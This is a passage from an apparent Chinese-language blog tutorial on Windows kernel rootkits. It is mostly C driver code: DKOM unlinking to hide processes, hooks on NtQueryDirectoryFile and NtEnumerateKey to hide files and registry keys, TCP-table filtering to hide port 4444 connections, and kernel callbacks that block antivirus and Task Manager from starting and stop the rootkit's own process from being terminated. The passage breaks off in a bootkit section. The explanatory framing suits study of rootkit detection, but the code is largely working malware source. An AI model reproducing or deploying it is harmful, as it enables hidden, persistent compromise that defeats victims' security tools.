接续:DKOM 进程隐藏的原理

2. 进程隐藏的原理(续)

objectivec 复制代码
// Windows 遍历进程的方式:
// 从 PsActiveProcessHead 开始,沿着 ActiveProcessLinks 遍历

// 系统获取进程列表的内部逻辑(简化):
NTSTATUS NtQuerySystemInformation_ProcessList() {
    PLIST_ENTRY current = PsActiveProcessHead.Flink;
    
    while (current != &PsActiveProcessHead) {
        // 通过链表项计算 EPROCESS 地址
        PEPROCESS process = CONTAINING_RECORD(
            current, 
            EPROCESS, 
            ActiveProcessLinks  // 偏移 0x088
        );
        
        // 输出进程信息
        OutputProcessInfo(process);
        
        // 移动到下一个
        current = current->Flink;
    }
}

// 任务管理器、Process Explorer、杀毒软件都依赖这个链表!

进程链表结构可视化

cpp 复制代码
正常状态的进程链表:

PsActiveProcessHead
        │
        ▼
┌───────────────┐    ┌───────────────┐    ┌───────────────┐    ┌───────────────┐
│   System      │    │   smss.exe    │    │  csrss.exe    │    │  malware.exe  │
│   PID: 4      │    │   PID: 256    │    │  PID: 512     │    │  PID: 1234    │
│               │    │               │    │               │    │               │
│ ┌───────────┐ │    │ ┌───────────┐ │    │ ┌───────────┐ │    │ ┌───────────┐ │
│ │ActiveProc │─┼───►│ │ActiveProc │─┼───►│ │ActiveProc │─┼───►│ │ActiveProc │─┼───┐
│ │Links.Flink│ │    │ │Links.Flink│ │    │ │Links.Flink│ │    │ │Links.Flink│ │   │
│ ├───────────┤ │    │ ├───────────┤ │    │ ├───────────┤ │    │ ├───────────┤ │   │
│ │ActiveProc │◄┼────│ │ActiveProc │◄┼────│ │ActiveProc │◄┼────│ │ActiveProc │ │   │
│ │Links.Blink│ │    │ │Links.Blink│ │    │ │Links.Blink│ │    │ │Links.Blink│ │   │
│ └───────────┘ │    │ └───────────┘ │    │ └───────────┘ │    │ └───────────┘ │   │
└───────────────┘    └───────────────┘    └───────────────┘    └───────────────┘   │
        ▲                                                                          │
        └──────────────────────────────────────────────────────────────────────────┘

隐藏后的进程链表

cpp 复制代码
DKOM 隐藏 malware.exe 后:

                                                              malware.exe 被"跳过"
                                                                      │
PsActiveProcessHead                                                   ▼
        │                                                    ┌───────────────┐
        ▼                                                    │  malware.exe  │
┌───────────────┐    ┌───────────────┐    ┌───────────────┐  │  PID: 1234    │
│   System      │    │   smss.exe    │    │  csrss.exe    │  │  (仍在运行!) │
│   PID: 4      │    │   PID: 256    │    │  PID: 512     │  │ ┌───────────┐ │
│               │    │               │    │               │  │ │  Flink    │─┼─► 指向自己
│ ┌───────────┐ │    │ ┌───────────┐ │    │ ┌───────────┐ │  │ │  Blink    │◄┼─┘ (断开)
│ │   Flink   │─┼───►│ │   Flink   │─┼───►│ │   Flink   │─┼──┼─►           │
│ ├───────────┤ │    │ ├───────────┤ │    │ ├───────────┤ │  │ └───────────┘ │
│ │   Blink   │◄┼────│ │   Blink   │◄┼────│ │   Blink   │◄┼──┘               │
│ └───────────┘ │    │ └───────────┘ │    │ └───────────┘ │  └───────────────┘
└───────────────┘    └───────────────┘    └───────────────┘

关键点:
1. malware.exe 从链表中被移除
2. 但进程对象仍然存在于内存中
3. 调度器通过其他数据结构(KTHREAD链表)仍能调度它
4. 任务管理器遍历链表时会跳过它 → 看不见!

3. DKOM 隐藏的完整代码

cpp 复制代码
#include <ntddk.h>

// EPROCESS 中 ActiveProcessLinks 的偏移
// 不同 Windows 版本偏移不同!
#define ACTIVEPROCESSLINKS_OFFSET_WIN7_X86  0x0B8
#define ACTIVEPROCESSLINKS_OFFSET_WIN10_X64 0x2F0
#define IMAGEFILENAME_OFFSET_WIN7_X86       0x16C
#define IMAGEFILENAME_OFFSET_WIN10_X64      0x450

// 获取当前系统的偏移(简化,实际需要动态检测)
ULONG g_ActiveProcessLinksOffset;
ULONG g_ImageFileNameOffset;

// 初始化偏移
void InitializeOffsets() {
    RTL_OSVERSIONINFOW versionInfo = { sizeof(RTL_OSVERSIONINFOW) };
    RtlGetVersion(&versionInfo);
    
    if (versionInfo.dwBuildNumber >= 17763) {  // Win10 1809+
        g_ActiveProcessLinksOffset = 0x2F0;
        g_ImageFileNameOffset = 0x450;
    } else {
        // 其他版本...
    }
}

// 根据进程名隐藏进程
NTSTATUS HideProcessByName(PCCHAR processName) {
    PEPROCESS currentProcess = PsGetCurrentProcess();
    PEPROCESS startProcess = currentProcess;
    
    // 获取 ActiveProcessLinks 的地址
    PLIST_ENTRY currentLinks = (PLIST_ENTRY)(
        (PUCHAR)currentProcess + g_ActiveProcessLinksOffset
    );
    PLIST_ENTRY startLinks = currentLinks;
    
    do {
        // 获取进程名
        PCCHAR imageName = (PCCHAR)(
            (PUCHAR)currentProcess + g_ImageFileNameOffset
        );
        
        // 检查是否是目标进程
        if (_stricmp(imageName, processName) == 0) {
            DbgPrint("[DKOM] Found target process: %s\n", imageName);
            
            // 从链表中移除
            RemoveEntryList(currentLinks);
            
            // 将 Flink 和 Blink 指向自己,防止蓝屏
            currentLinks->Flink = currentLinks;
            currentLinks->Blink = currentLinks;
            
            DbgPrint("[DKOM] Process hidden successfully\n");
            return STATUS_SUCCESS;
        }
        
        // 移动到下一个进程
        currentLinks = currentLinks->Flink;
        currentProcess = (PEPROCESS)(
            (PUCHAR)currentLinks - g_ActiveProcessLinksOffset
        );
        
    } while (currentLinks != startLinks);
    
    return STATUS_NOT_FOUND;
}

// RemoveEntryList 的实现(内核中已有,这里展示原理)
VOID RemoveEntryListManual(PLIST_ENTRY Entry) {
    PLIST_ENTRY Blink = Entry->Blink;
    PLIST_ENTRY Flink = Entry->Flink;
    
    // 前一项的 Flink 指向后一项
    Blink->Flink = Flink;
    // 后一项的 Blink 指向前一项
    Flink->Blink = Blink;
    
    // Entry 被"架空"了
}

4. 为什么进程隐藏后仍能运行?

cpp 复制代码
Windows 进程调度不依赖 ActiveProcessLinks!

进程调度的数据结构:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  ┌─────────────────┐                                       │
│  │   KPRCB         │  (Processor Control Block)            │
│  │ ┌─────────────┐ │                                       │
│  │ │DispatcherRea│ │  调度器就绪队列                       │
│  │ │dyListHead   │ │  按优先级组织                         │
│  │ └─────────────┘ │                                       │
│  │ ┌─────────────┐ │                                       │
│  │ │CurrentThread│ │  当前运行的线程                       │
│  │ └─────────────┘ │                                       │
│  └─────────────────┘                                       │
│                                                             │
│  调度过程:                                                 │
│  1. 时钟中断触发                                           │
│  2. 调度器从就绪队列选择线程                               │
│  3. 通过 KTHREAD 找到线程上下文                            │
│  4. 切换到该线程执行                                       │
│                                                             │
│  注意:整个过程不涉及 ActiveProcessLinks!                  │
│                                                             │
└─────────────────────────────────────────────────────────────┘

所以:
- ActiveProcessLinks:用于枚举进程(任务管理器)
- KTHREAD 链表:用于线程调度
- 从 ActiveProcessLinks 移除不影响调度!

九、文件隐藏:Hook NtQueryDirectoryFile

1. 文件枚举的系统调用

cpp 复制代码
用户查看目录时的调用链:

Explorer.exe
    │
    ▼
FindFirstFile() / FindNextFile()
    │
    ▼
kernel32.dll
    │
    ▼
ntdll!NtQueryDirectoryFile()
    │
    ▼
────────────────────────────  用户态/内核态边界
    │
    ▼
nt!NtQueryDirectoryFile()
    │
    ▼
文件系统驱动 (NTFS)
    │
    ▼
返回文件列表

2. NtQueryDirectoryFile 的返回结构

cpp 复制代码
// 返回的数据结构
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;       // 下一项的偏移,0 表示最后一项
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];           // 可变长度的文件名
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

// 内存中的布局:
┌────────────────────────────────────────────────────────────┐
│ Entry 1                                                    │
│ NextEntryOffset: 96   ──────────────────────┐             │
│ FileName: "system32"                         │             │
├────────────────────────────────────────────────────────────┤
│ Entry 2                      ◄───────────────┘             │
│ NextEntryOffset: 88   ──────────────────────┐             │
│ FileName: "malware.exe"  ← 要隐藏这个!      │             │
├────────────────────────────────────────────────────────────┤
│ Entry 3                      ◄───────────────┘             │
│ NextEntryOffset: 0                                         │
│ FileName: "notepad.exe"                                    │
└────────────────────────────────────────────────────────────┘

3. 文件隐藏的 Hook 实现

cpp 复制代码
// 原始函数指针
typedef NTSTATUS (*pNtQueryDirectoryFile)(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass,
    BOOLEAN ReturnSingleEntry,
    PUNICODE_STRING FileName,
    BOOLEAN RestartScan
);

pNtQueryDirectoryFile OriginalNtQueryDirectoryFile;

// 要隐藏的文件名
WCHAR* g_HiddenFiles[] = {
    L"malware.exe",
    L"rootkit.sys",
    L"config.dat",
    NULL
};

// 检查是否应该隐藏
BOOLEAN ShouldHideFile(PWCHAR fileName) {
    for (int i = 0; g_HiddenFiles[i] != NULL; i++) {
        if (_wcsicmp(fileName, g_HiddenFiles[i]) == 0) {
            return TRUE;
        }
    }
    return FALSE;
}

// Hook 后的函数
NTSTATUS HookedNtQueryDirectoryFile(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass,
    BOOLEAN ReturnSingleEntry,
    PUNICODE_STRING FileName,
    BOOLEAN RestartScan
) {
    // 首先调用原始函数
    NTSTATUS status = OriginalNtQueryDirectoryFile(
        FileHandle, Event, ApcRoutine, ApcContext,
        IoStatusBlock, FileInformation, Length,
        FileInformationClass, ReturnSingleEntry,
        FileName, RestartScan
    );
    
    // 如果调用失败或不是我们关心的信息类型,直接返回
    if (!NT_SUCCESS(status) || FileInformation == NULL) {
        return status;
    }
    
    // 只处理 FileDirectoryInformation 类型
    if (FileInformationClass != FileDirectoryInformation &&
        FileInformationClass != FileFullDirectoryInformation &&
        FileInformationClass != FileBothDirectoryInformation) {
        return status;
    }
    
    // 遍历结果,过滤掉要隐藏的文件
    PFILE_DIRECTORY_INFORMATION current = 
        (PFILE_DIRECTORY_INFORMATION)FileInformation;
    PFILE_DIRECTORY_INFORMATION previous = NULL;
    
    while (TRUE) {
        // 获取文件名(需要处理非空结尾的情况)
        WCHAR fileName[MAX_PATH] = {0};
        wcsncpy(fileName, current->FileName, 
                current->FileNameLength / sizeof(WCHAR));
        
        BOOLEAN hide = ShouldHideFile(fileName);
        
        if (hide) {
            // 需要隐藏这个条目
            if (previous == NULL) {
                // 第一个条目就要隐藏
                if (current->NextEntryOffset == 0) {
                    // 唯一的条目,返回"无更多文件"
                    return STATUS_NO_MORE_FILES;
                } else {
                    // 将下一个条目的数据复制到开头
                    PFILE_DIRECTORY_INFORMATION next = 
                        (PFILE_DIRECTORY_INFORMATION)(
                            (PUCHAR)current + current->NextEntryOffset
                        );
                    RtlMoveMemory(current, next, 
                        Length - current->NextEntryOffset);
                    // 继续检查(不移动 current)
                    continue;
                }
            } else {
                // 不是第一个条目
                if (current->NextEntryOffset == 0) {
                    // 最后一个条目,将前一个的 NextEntryOffset 设为 0
                    previous->NextEntryOffset = 0;
                    break;
                } else {
                    // 中间条目,调整前一个的 NextEntryOffset 跳过当前
                    previous->NextEntryOffset += current->NextEntryOffset;
                    // 移动到下一个条目继续检查
                    current = (PFILE_DIRECTORY_INFORMATION)(
                        (PUCHAR)current + current->NextEntryOffset
                    );
                    continue;
                }
            }
        }
        
        // 不需要隐藏,移动到下一个
        if (current->NextEntryOffset == 0) {
            break;
        }
        previous = current;
        current = (PFILE_DIRECTORY_INFORMATION)(
            (PUCHAR)current + current->NextEntryOffset
        );
    }
    
    return status;
}

4. 文件隐藏效果示意

cpp 复制代码
原始返回数据:
┌─────────────────┐
│ Entry 1         │
│ NextOffset: 96  │──┐
│ "system32"      │  │
├─────────────────┤◄─┘
│ Entry 2         │
│ NextOffset: 88  │──┐     ← malware.exe,需要隐藏
│ "malware.exe"   │  │
├─────────────────┤◄─┘
│ Entry 3         │
│ NextOffset: 80  │──┐
│ "notepad.exe"   │  │
├─────────────────┤◄─┘
│ Entry 4         │
│ NextOffset: 0   │
│ "readme.txt"    │
└─────────────────┘

Hook 处理后返回给用户的数据:
┌─────────────────┐
│ Entry 1         │
│ NextOffset: 184 │──┐     ← 96 + 88 = 184,跳过 malware.exe
│ "system32"      │  │
├─────────────────┤  │
│ [被跳过的区域]  │  │     ← 这部分数据仍在内存中,但被跳过
│                 │  │
├─────────────────┤◄─┘
│ Entry 3         │
│ NextOffset: 80  │──┐
│ "notepad.exe"   │  │
├─────────────────┤◄─┘
│ Entry 4         │
│ NextOffset: 0   │
│ "readme.txt"    │
└─────────────────┘

用户看到的文件列表:
- system32
- notepad.exe
- readme.txt

malware.exe "消失"了!

十、注册表隐藏

1. 注册表操作的系统调用

cpp 复制代码
注册表相关的关键 API:

NtEnumerateKey         - 枚举子键
NtEnumerateValueKey    - 枚举键值
NtQueryKey            - 查询键信息
NtQueryValueKey       - 查询值信息

通过 Hook 这些函数,可以隐藏:
- 恶意服务的注册表项
- 自启动项
- 配置数据

2. 注册表隐藏示例

cpp 复制代码
// Hook NtEnumerateKey 隐藏子键
typedef NTSTATUS (*pNtEnumerateKey)(
    HANDLE KeyHandle,
    ULONG Index,
    KEY_INFORMATION_CLASS KeyInformationClass,
    PVOID KeyInformation,
    ULONG Length,
    PULONG ResultLength
);

pNtEnumerateKey OriginalNtEnumerateKey;

// 要隐藏的注册表键名
WCHAR* g_HiddenKeys[] = {
    L"MalwareService",
    L"RootkitDriver",
    NULL
};

NTSTATUS HookedNtEnumerateKey(
    HANDLE KeyHandle,
    ULONG Index,
    KEY_INFORMATION_CLASS KeyInformationClass,
    PVOID KeyInformation,
    ULONG Length,
    PULONG ResultLength
) {
    // 调用原始函数
    NTSTATUS status = OriginalNtEnumerateKey(
        KeyHandle, Index, KeyInformationClass,
        KeyInformation, Length, ResultLength
    );
    
    if (NT_SUCCESS(status) && KeyInformation != NULL) {
        // 获取键名
        PKEY_BASIC_INFORMATION keyInfo = 
            (PKEY_BASIC_INFORMATION)KeyInformation;
        
        WCHAR keyName[256] = {0};
        wcsncpy(keyName, keyInfo->Name, 
                keyInfo->NameLength / sizeof(WCHAR));
        
        // 检查是否需要隐藏
        for (int i = 0; g_HiddenKeys[i] != NULL; i++) {
            if (_wcsicmp(keyName, g_HiddenKeys[i]) == 0) {
                // 需要隐藏,返回下一个索引的结果
                // 递归调用,跳过这个条目
                return HookedNtEnumerateKey(
                    KeyHandle, Index + 1, KeyInformationClass,
                    KeyInformation, Length, ResultLength
                );
            }
        }
    }
    
    return status;
}

十一、网络连接隐藏

1. 网络连接枚举的原理

cpp 复制代码
netstat 命令的工作原理:

netstat.exe
    │
    ▼
GetTcpTable() / GetUdpTable()
    │
    ▼
iphlpapi.dll
    │
    ▼
NtDeviceIoControlFile()  ← Hook 点
    │
    ▼
\Device\Tcp 或 \Device\Udp
    │
    ▼
tcpip.sys (网络驱动)

2. 网络连接隐藏的方法

cpp 复制代码
// 方法1: Hook NtDeviceIoControlFile
// 当目标设备是 \Device\Tcp 且 IOCTL 是获取连接表时,过滤结果

// 方法2: Hook GetTcpTable / GetExtendedTcpTable (用户态)
// 更简单,但容易被检测

// TCP 连接信息结构
typedef struct _MIB_TCPROW {
    DWORD dwState;
    DWORD dwLocalAddr;
    DWORD dwLocalPort;
    DWORD dwRemoteAddr;
    DWORD dwRemotePort;
} MIB_TCPROW;

typedef struct _MIB_TCPTABLE {
    DWORD dwNumEntries;
    MIB_TCPROW table[1];  // 可变长度数组
} MIB_TCPTABLE;

// 隐藏特定端口的连接
VOID FilterTcpTable(PMIB_TCPTABLE tcpTable) {
    DWORD hiddenPort = htons(4444);  // 要隐藏的端口
    DWORD writeIndex = 0;
    
    for (DWORD i = 0; i < tcpTable->dwNumEntries; i++) {
        // 检查是否是要隐藏的连接
        if (tcpTable->table[i].dwLocalPort != hiddenPort &&
            tcpTable->table[i].dwRemotePort != hiddenPort) {
            // 不需要隐藏,复制到结果中
            if (writeIndex != i) {
                RtlCopyMemory(&tcpTable->table[writeIndex],
                             &tcpTable->table[i],
                             sizeof(MIB_TCPROW));
            }
            writeIndex++;
        }
    }
    
    // 更新条目数
    tcpTable->dwNumEntries = writeIndex;
}

十二、内核回调机制的利用

1. Windows 内核提供的回调

cpp 复制代码
// Windows 提供了多种内核回调,可用于监控系统事件:

// 1. 进程创建/销毁回调
PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);

// 2. 线程创建/销毁回调
PsSetCreateThreadNotifyRoutine(ThreadCallback);

// 3. 模块加载回调
PsSetLoadImageNotifyRoutine(ImageCallback);

// 4. 注册表操作回调
CmRegisterCallback(RegistryCallback, NULL, &g_CmCookie);

// 5. 对象操作回调
ObRegisterCallbacks(&CallbackRegistration, &g_ObHandle);

// Rootkit 可以利用这些回调来:
// - 监控所有进程创建,及时注入
// - 阻止杀毒软件启动
// - 保护自己不被删除

2. 进程保护回调示例

cpp 复制代码
// 阻止杀毒软件进程启动

WCHAR* g_BlockedProcesses[] = {
    L"\\??\\C:\\Program Files\\Antivirus\\av.exe",
    L"\\??\\C:\\Windows\\System32\\taskmgr.exe",
    NULL
};

void ProcessNotifyCallback(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
) {
    if (CreateInfo == NULL) {
        // 进程退出,不处理
        return;
    }
    
    // 进程创建
    if (CreateInfo->ImageFileName != NULL) {
        for (int i = 0; g_BlockedProcesses[i] != NULL; i++) {
            UNICODE_STRING blocked;
            RtlInitUnicodeString(&blocked, g_BlockedProcesses[i]);
            
            if (RtlEqualUnicodeString(
                    CreateInfo->ImageFileName, &blocked, TRUE)) {
                // 阻止进程创建
                CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
                DbgPrint("[Rootkit] Blocked process: %wZ\n", 
                        CreateInfo->ImageFileName);
                return;
            }
        }
    }
}

// 驱动入口点
NTSTATUS DriverEntry(...) {
    // 注册进程回调
    NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(
        ProcessNotifyCallback, FALSE
    );
    
    if (!NT_SUCCESS(status)) {
        DbgPrint("Failed to register callback: 0x%X\n", status);
    }
    
    return status;
}

3. 对象回调保护自身进程

cpp 复制代码
// 使用 ObRegisterCallbacks 阻止其他程序终止我们的进程

OB_PREOP_CALLBACK_STATUS PreOperationCallback(
    PVOID RegistrationContext,
    POB_PRE_OPERATION_INFORMATION OperationInformation
) {
    // 检查是否是进程对象
    if (OperationInformation->ObjectType != *PsProcessType) {
        return OB_PREOP_SUCCESS;
    }
    
    PEPROCESS targetProcess = (PEPROCESS)OperationInformation->Object;
    HANDLE targetPid = PsGetProcessId(targetProcess);
    
    // 检查是否是我们要保护的进程
    if (targetPid == g_ProtectedPid) {
        // 检查是否请求终止权限
        if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {
            // 移除 PROCESS_TERMINATE 权限
            OperationInformation->Parameters->CreateHandleInformation
                .DesiredAccess &= ~PROCESS_TERMINATE;
            
            // 也移除其他危险权限
            OperationInformation->Parameters->CreateHandleInformation
                .DesiredAccess &= ~PROCESS_VM_WRITE;
            OperationInformation->Parameters->CreateHandleInformation
                .DesiredAccess &= ~PROCESS_VM_OPERATION;
        }
    }
    
    return OB_PREOP_SUCCESS;
}

十三、Bootkit:更底层的持久化

1. Bootkit 的启动顺序

cpp 复制代码
传统 BIOS 启动:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. BIOS 执行                                               │
│     │                                                       │
│     ▼                                                       │
│  2. 读取 MBR (主引导记录,第一个扇区)                       │
│     │      ← Bootkit 在这里植入代码!                       │
│     ▼                                                       │
│  3. MBR 代码执行,加载 VBR                                  │
│     │                                                       │
│     ▼                                                       │
│  4. VBR 加载 bootmgr                                        │
│     │                                                       │
│     ▼                                                       │
│  5. bootmgr 加
相关推荐
一眼万里*e2 小时前
如何快速学懂开源地面站
c++
m0_748250032 小时前
C++ 预处理器
开发语言·c++
MarkHD2 小时前
智能体在车联网中的应用:第52天 大语言模型作为高级规划器或世界模型:重塑自动驾驶的感知与决策
学习·安全
爱装代码的小瓶子2 小时前
【c++进阶】c++11下类的新变化以及Lambda函数和封装器
java·开发语言·c++
m0_748250032 小时前
C++ 标准库概述
开发语言·c++
恒者走天下3 小时前
c++ cpp项目面经分享
c++
烟锁池塘柳03 小时前
C++程序脱离环境运行:详解OpenCV动态库依赖部署 (Deployment)
c++·opencv·webpack
被制作时长两年半的个人练习生3 小时前
首尾元素相同的间隔循环策略
c++·笔记·循环·ptx
千里马-horse3 小时前
React Native bridging 源码分析--ClassTest.cpp
javascript·c++·react native·react.js·bridging